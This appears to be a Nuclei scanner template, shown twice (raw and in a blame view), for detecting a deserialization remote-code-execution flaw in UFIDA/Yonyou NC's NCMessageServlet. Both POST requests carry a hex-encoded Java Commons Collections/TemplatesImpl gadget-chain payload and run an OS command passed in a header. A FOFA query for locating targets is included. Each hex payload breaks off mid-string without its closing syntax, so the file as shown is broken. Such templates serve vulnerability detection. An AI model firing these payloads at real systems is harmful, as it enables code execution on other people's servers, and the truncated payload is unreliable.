nuclei-templates/http/vulnerabilities/yonyou/yonyou-nc-ncmessageservlet-...

id: yonyou-nc-ncmessageservlet-rce

info:
  name: UFIDA NC NCMessageServlet - Deserialization RCE Detection
  author: SleepingBag945
  severity: critical
  description: |
    UFIDA NC is in the process of processing client request data. Insufficient checking and filtering when deserializing user-supplied data can lead to malicious deserialization operations and execution of commands on the operating system. After analysis, security researchers found that the system has many exploit points for deserialization. Currently, the official vulnerability fix plan is to perform deserialization whitelist control on known exploit points and repair some exploit chain dependencies. The possibility of similar problems occurring in the system in the future is still high.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-nc-ncmessageservlet-rce.yaml
  metadata:
    max-request: 2
    fofa-query: app="用友-UFIDA-NC
    verified: true
  tags: yonyou,rce,deserialization,rce

http:
  - raw:
      - |
        POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data;
        X-T0KEN-INF0: set /A 987843129+808922377
        Accept-Encoding: gzip, deflate

        {{hex_decode('ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E0003787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003E6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001737200296F72672E6170616368652E78616C616E2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000749000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465784C000B5F617578436C617373657374002A4C6F72672F6170616368652F78616C616E2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00154C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF70757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000EF1CAFEBABE0000003200E30A0003000F0700DE0700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C0004000507001301003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100106A6176612F6C616E672F54687265616407001501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C001700180A0016001901000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C001B001C0A0016001D010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C001F00200A000300210100077468726561647308002301000F6A6176612F6C616E672F436C6173730700250100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C002700280A002600290100226A6176612F6C616E672F7265666C6563742F41636365737369626C654F626A65637407002B01000D73657441636365737369626C65010004285A29560C002D002E0A002C002F0100176A6176612F6C616E672F7265666C6563742F4669656C64070031010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003300340A003200350100135B4C6A6176612F6C616E672F5468726561643B0700370100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C0039003A0A0016003B0100046578656

      - |
        POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
        Content-Type: multipart/form-data;
        X-T0KEN-INF0: expr 987843129+808922376
        Accept-Encoding: gzip, deflate

        {{hex_decode('ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E0003787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003E6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001737200296F72672E6170616368652E78616C616E2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000749000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465784C000B5F617578436C617373657374002A4C6F72672F6170616368652F78616C616E2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00154C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF70757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000EF1CAFEBABE0000003200E30A0003000F0700DE0700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C0004000507001301003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100106A6176612F6C616E672F54687265616407001501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C001700180A0016001901000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C001B001C0A0016001D010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C001F00200A000300210100077468726561647308002301000F6A6176612F6C616E672F436C6173730700250100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C002700280A002600290100226A6176612F6C616E672F7265666C6563742F41636365737369626C654F626A65637407002B01000D73657441636365737369626C65010004285A29560C002D002E0A002C002F0100176A6176612F6C616E672F7265666C6563742F4669656C64070031010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003300340A003200350100135B4C6A6176612F6C616E672F5468726561643B0700370100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C0039003A0A0016003B0100046578656

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && contains(header_1,"X-T0ken") && contains(header_1,"MTc5Njc2NTUwNg==")'
          - 'status_code_2 == 200 && contains(header_2,"X-T0ken") && contains(header_2,"MTc5Njc2NTUwNQ==")'
        condition: or
Added some Templates 2023-08-18 03:22:06 +00:00			`id: yonyou-nc-ncmessageservlet-rce`

			`info:`
updated-templates-p 2023-09-17 08:51:38 +00:00			`name: UFIDA NC NCMessageServlet - Deserialization RCE Detection`
Added some Templates 2023-08-18 03:22:06 +00:00			`author: SleepingBag945`
			`severity: critical`
Templates - update 2023-09-15 12:23:57 +00:00			`description: \|`
			UFIDA NC is in the process of processing client request data. Insufficient checking and filtering when deserializing user-supplied data can lead to malicious deserialization operations and execution of commands on the operating system. After analysis, security researchers found that the system has many exploit points for deserialization. Currently, the official vulnerability fix plan is to perform deserialization whitelist control on known exploit points and repair some exploit chain dependencies. The possibility of similar problems occurring in the system in the future is still high.
			`reference:`
			`- https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/yonyou-nc-ncmessageservlet-rce.yaml`
			`metadata:`
			`max-request: 2`
			`fofa-query: app="用友-UFIDA-NC`
			`verified: true`
updated-templates-p 2023-09-17 08:51:38 +00:00			`tags: yonyou,rce,deserialization,rce`
Added some Templates 2023-08-18 03:22:06 +00:00
			`http:`
			`- raw:`
			`- \|`
			`POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1`
			`Host: {{Hostname}}`
			`Content-Type: multipart/form-data;`
			`X-T0KEN-INF0: set /A 987843129+808922377`
			`Accept-Encoding: gzip, deflate`
Templates - update 2023-09-15 12:23:57 +00:00
Added some Templates 2023-08-18 03:22:06 +00:00			{{hex_decode('ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E0003787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003E6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001737200296F72672E6170616368652E78616C616E2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000749000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465784C000B5F617578436C617373657374002A4C6F72672F6170616368652F78616C616E2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00154C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF70757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000EF1CAFEBABE0000003200E30A0003000F0700DE0700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C0004000507001301003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100106A6176612F6C616E672F54687265616407001501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C001700180A0016001901000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C001B001C0A0016001D010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C001F00200A000300210100077468726561647308002301000F6A6176612F6C616E672F436C6173730700250100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C002700280A002600290100226A6176612F6C616E672F7265666C6563742F41636365737369626C654F626A65637407002B01000D73657441636365737369626C65010004285A29560C002D002E0A002C002F0100176A6176612F6C616E672F7265666C6563742F4669656C64070031010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003300340A003200350100135B4C6A6176612F6C616E672F5468726561643B0700370100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C0039003A0A0016003B0100046578656

			`- \|`
			`POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1`
			`Host: {{Hostname}}`
			`User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0`
			`Content-Type: multipart/form-data;`
			`X-T0KEN-INF0: expr 987843129+808922376`
			`Accept-Encoding: gzip, deflate`

Templates - update 2023-09-15 12:23:57 +00:00			{{hex_decode('ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B78707400007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000027372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E0003787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003E6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001737200296F72672E6170616368652E78616C616E2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000749000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465784C000B5F617578436C617373657374002A4C6F72672F6170616368652F78616C616E2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00154C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF70757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000EF1CAFEBABE0000003200E30A0003000F0700DE0700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C0004000507001301003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100106A6176612F6C616E672F54687265616407001501000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B0C001700180A0016001901000E67657454687265616447726F757001001928294C6A6176612F6C616E672F54687265616447726F75703B0C001B001C0A0016001D010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B0C001F00200A000300210100077468726561647308002301000F6A6176612F6C616E672F436C6173730700250100106765744465636C617265644669656C6401002D284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F7265666C6563742F4669656C643B0C002700280A002600290100226A6176612F6C616E672F7265666C6563742F41636365737369626C654F626A65637407002B01000D73657441636365737369626C65010004285A29560C002D002E0A002C002F0100176A6176612F6C616E672F7265666C6563742F4669656C64070031010003676574010026284C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0C003300340A003200350100135B4C6A6176612F6C616E672F5468726561643B0700370100076765744E616D6501001428294C6A6176612F6C616E672F537472696E673B0C0039003A0A0016003B0100046578656
Added some Templates 2023-08-18 03:22:06 +00:00
			`stop-at-first-match: true`
			`matchers:`
			`- type: dsl`
			`dsl:`
			`- 'status_code_1 == 200 && contains(header_1,"X-T0ken") && contains(header_1,"MTc5Njc2NTUwNg==")'`
			`- 'status_code_2 == 200 && contains(header_2,"X-T0ken") && contains(header_2,"MTc5Njc2NTUwNQ==")'`
Templates - update 2023-09-15 12:23:57 +00:00			`condition: or`